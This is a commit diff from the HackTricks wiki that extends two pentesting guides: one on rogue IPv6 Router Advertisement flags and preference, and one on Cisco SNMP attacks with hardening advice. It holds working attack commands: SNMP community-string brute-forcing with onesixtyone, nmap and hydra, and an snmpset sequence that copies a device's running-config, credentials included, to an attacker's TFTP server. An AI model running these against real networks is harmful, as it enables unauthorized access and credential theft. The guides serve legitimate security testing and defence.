Skip to content

Commit d55b3af

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents c61c093 + 1610ada commit d55b3af

2 files changed

Lines changed: 108 additions & 18 deletions

File tree

src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -241,6 +241,35 @@ sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
241241
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
242242
```
243243

244+
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
245+
246+
| Flag | Meaning | Effect on Client Behaviour |
247+
|------|---------|----------------------------|
248+
| **M (Managed Address Configuration)** | When set to `1` the host MUST use **DHCPv6** to obtain its IPv6 address. | Whole addressing comes from DHCPv6 – perfect for *mitm6* style poisoning. |
249+
| **O (Other Configuration)** | When set to `1` the host should use **DHCPv6** only to obtain *other* information (DNS, NTP, …). | Address still via SLAAC, but DNS can be hijacked with DHCPv6. |
250+
| **M=0 / O=0** | Pure SLAAC network. | Only RA / RDNSS tricks are possible – DHCPv6 won’t be sent by clients. |
251+
| **M=1 / O=1** | Mixed environment. | Both DHCPv6 and SLAAC are used; the surface for spoofing is the largest. |
252+
253+
During a pentest you can simply inspect the legitimate RA once and decide which vector is feasible:
254+
255+
```bash
256+
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
257+
```
258+
259+
Look for the `flags [M,O]` field in the dump – no guessing required.
260+
261+
The **Prf** (Router Preference) field inside the RA header controls how attractive your rogue router looks when *multiple* gateways are present:
262+
263+
| Prf value | Binary | Meaning |
264+
|-----------|--------|---------|
265+
| **High** | `10` | Clients prefer this router over any *Medium*/*Low* one |
266+
| Medium (default) | `01` | Used by almost every legitimate device |
267+
| Low | `00` | Chosen only when no better router exists |
268+
269+
When generating the packet with Scapy you can set it through the `prf` parameter as shown above (`prf=0x1` → High). Combining **High Prf**, a **short interval**, and a **non-zero lifetime** makes your rogue gateway remarkably stable.
270+
271+
---
272+
244273
### RDNSS (DNS) Spoofing via RA
245274

246275
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
@@ -296,6 +325,7 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
296325
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
297326
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
298327
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
328+
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
299329

300330
{{#include ../../banners/hacktricks-training.md}}
301331

src/network-services-pentesting/pentesting-snmp/cisco-snmp.md

Lines changed: 78 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -5,41 +5,101 @@
55

66
## Pentesting Cisco Networks
77

8-
**SNMP** functions over UDP with ports 161/UDP for general messages and 162/UDP for trap messages. This protocol relies on community strings, serving as passwords that enable communication between SNMP agents and servers. These strings are pivotal for they determine access levels, specifically **read-only (RO) or read-write (RW) permissions**. A notable attack vector for pentesters is the **brute-forcing of community strings**, aiming to infiltrate network devices.
8+
**SNMP** functions over UDP with ports **161/UDP** for general messages and **162/UDP** for trap messages. This protocol relies on *community strings*, serving as plaintext "passwords" that enable communication between SNMP agents and managers. These strings determine the access level, specifically **read-only (RO) or read-write (RW) permissions**.
99

10-
A practical tool for executing such brute-force attacks is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), which necessitates a list of potential community strings and the IP addresses of the targets:
10+
A classic—yet still extremely effective—attack vector is to **brute-force community strings** in order to elevate from unauthenticated user to device administrator (RW community).
11+
A practical tool for this task is [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
1112

1213
```bash
13-
onesixtyone -c communitystrings -i targets
14+
onesixtyone -c community_strings.txt -i targets.txt
1415
```
1516

16-
#### `cisco_config_tftp`
17+
Other fast options are the Nmap NSE script `snmp-brute` or Hydra's SNMP module:
1718

18-
The Metasploit framework features the `cisco_config_tftp` module, facilitating the extraction of device configurations, contingent upon acquiring an RW community string. Essential parameters for this operation include:
19+
```bash
20+
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
21+
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
22+
```
23+
24+
---
1925

20-
- RW community string (**COMMUNITY**)
21-
- Attacker's IP (**LHOST**)
22-
- Target device's IP (**RHOSTS**)
23-
- Destination path for the configuration files (**OUTPUTDIR**)
26+
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
27+
If you obtain an **RW community** you can copy the running-config/startup-config to a TFTP/FTP server *without CLI access* by abusing the CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Two common approaches are:
2428

25-
Upon configuration, this module enables the download of device settings directly to a specified folder.
29+
1. **Nmap NSE – `snmp-ios-config`**
2630

27-
#### `snmp_enum`
31+
```bash
32+
nmap -sU -p161 --script snmp-ios-config \
33+
--script-args creds.snmp=private 192.168.66.1
34+
```
35+
The script automatically orchestrates the copy operation and prints the configuration to stdout .
2836

29-
Another Metasploit module, **`snmp_enum`**, specializes in gathering detailed hardware information. It operates with either type of community string and requires the target's IP address for successful execution:
37+
2. **Manual `snmpset` sequence**
3038

3139
```bash
32-
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
33-
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
34-
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
40+
# Copy running-config (4) to a TFTP server (1) – random row id 1234
41+
snmpset -v2c -c private 192.168.66.1 \
42+
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
43+
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
44+
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
45+
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
46+
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
47+
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
3548
```
49+
Row identifiers are *one-shot*; reuse within five minutes triggers `inconsistentValue` errors.
3650

37-
## References
51+
Once the file is on your TFTP server you can inspect credentials (`enable secret`, `username <user> secret`, etc.) or even push a modified config back to the device.
3852

39-
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
53+
---
4054

55+
### Metasploit goodies
4156

42-
{{#include ../../banners/hacktricks-training.md}}
57+
* **`cisco_config_tftp`** – downloads running-config/startup-config via TFTP after abusing the same MIB.
58+
* **`snmp_enum`** – collects device inventory information, VLANs, interface descriptions, ARP tables, etc.
59+
60+
```bash
61+
use auxiliary/scanner/snmp/snmp_enum
62+
set RHOSTS 10.10.100.10
63+
set COMMUNITY public
64+
run
65+
```
4366

67+
---
4468

69+
## Recent Cisco SNMP vulnerabilities (2023 – 2025)
70+
Keeping track of vendor advisories is useful to scope *zero-day-to-n-day* opportunities inside an engagement:
4571

72+
| Year | CVE | Affected feature | Impact |
73+
|------|-----|-----------------|--------|
74+
| 2025 | CVE-2025-20174 | SNMP subsystem | Crafted packet leads to authenticated *DoS* (reload) on IOS/IOS-XE (v1/v2c/v3). |
75+
| 2024 | CVE-2024-20373 | IPv4 ACL handling | Mis-configured **extended** ACLs silently *fail*, allowing unauthenticated SNMP polling when a valid community/user is known. |
76+
| 2025 | (no CVE yet) | SNMPv3 configuration restriction bypass | Valid v3 user can poll from addresses that should be denied. |
77+
78+
Exploitability often still depends on possessing the community string or v3 credentials—another reason why brute-forcing them remains relevant.
79+
80+
---
81+
82+
## Hardening & Detection tips
83+
84+
* Upgrade to a fixed IOS/IOS-XE version (see Cisco advisory for the CVE above).
85+
* Prefer **SNMPv3** with `authPriv` (SHA-256/AES-256) over v1/v2c.
86+
```
87+
snmp-server group SECURE v3 priv
88+
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
89+
```
90+
* Bind SNMP to a management VRF and **restrict with *standard* numbered IPv4 ACLs** (extended named ACLs are risky – CVE-2024-20373).
91+
* Disable **RW communities**; if operationally required, limit them with ACL and views:
92+
`snmp-server community <string> RW 99 view SysView`
93+
* Monitor for:
94+
- UDP/161 spikes or unexpected sources (SIEM rules).
95+
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` events indicating out-of-band config changes.
96+
* Enable **SNMPv3 logging** and `snmp-server packetsize 1500` to reduce certain DoS vectors.
97+
98+
---
99+
100+
## References
101+
102+
- Cisco: *How To Copy Configurations To and From Cisco Devices Using SNMP*
103+
- Cisco Security Advisory *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
104+
105+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)